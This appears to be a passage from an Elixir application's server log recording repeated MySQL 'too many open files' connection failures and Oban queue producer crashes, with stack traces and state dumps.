State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:23:56.239364Z], limit: 5, uuid: "d1dda100-7ad8-4860-b70b-eafc51a100a1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:23:56.239371Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.35925>, refresh_timer: #Reference<0.2525715032.1099431938.57083>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:24:08.282000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:24:12.641000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:24:15.879000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:24:15.942000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:24:16.206000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:24:20.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 868ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:24:08.239240Z], limit: 3, uuid: "78829218-35d6-4bb2-8c74-fa987eb68684", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:24:08.239246Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.36209>, refresh_timer: #Reference<0.2525715032.1099431938.57158>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:24:20.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1078ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:24:08.239941Z], limit: 5, uuid: "d11682dd-1b9e-48c2-ba8a-f385c0703ee9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:24:08.239947Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.36206>, refresh_timer: #Reference<0.2525715032.1068498948.57629>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:24:20.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 862ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:24:08.239450Z], limit: 20, uuid: "21ce95fc-ad7a-4e83-80be-d31ea3e77ad6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:24:08.239455Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.36205>, refresh_timer: #Reference<0.2525715032.1068498948.57620>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:24:20.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 872ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:24:08.238343Z], limit: 50, uuid: "f855cc19-da95-4eea-94ec-f31316caf49d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:24:08.238349Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.36207>, refresh_timer: #Reference<0.2525715032.1068498948.57601>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:24:20.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1021ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:24:08.237746Z], limit: 5, uuid: "f039b309-c65f-4f7e-a82b-9b7fce7cc038", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:24:08.237753Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.36208>, refresh_timer: #Reference<0.2525715032.1099431938.57147>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:24:20.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1021ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:24:08.237912Z], limit: 10, uuid: "8c87616c-d12b-4032-a230-f06d31ea7a2e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:24:08.237918Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.57630>, refresh_timer: #Reference<0.2525715032.1068498948.57596>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:24:20.971000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:24:25.117000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:24:25.887000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:24:26.431000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:24:28.731000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:24:29.308000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:24:30.932000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:24:32.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 877ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:24:20.240075Z], limit: 10, uuid: "ac315bd4-2b5b-4d65-af93-deadf405715f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:24:20.240079Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.36543>, refresh_timer: #Reference<0.2525715032.1068498948.57809>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:24:32.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 813ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:24:20.239874Z], limit: 50, uuid: "fc78229c-3847-4098-8f9b-8625daa04819", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:24:20.239880Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.36541>, refresh_timer: #Reference<0.2525715032.1077673987.36523>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:24:32.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1022ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:
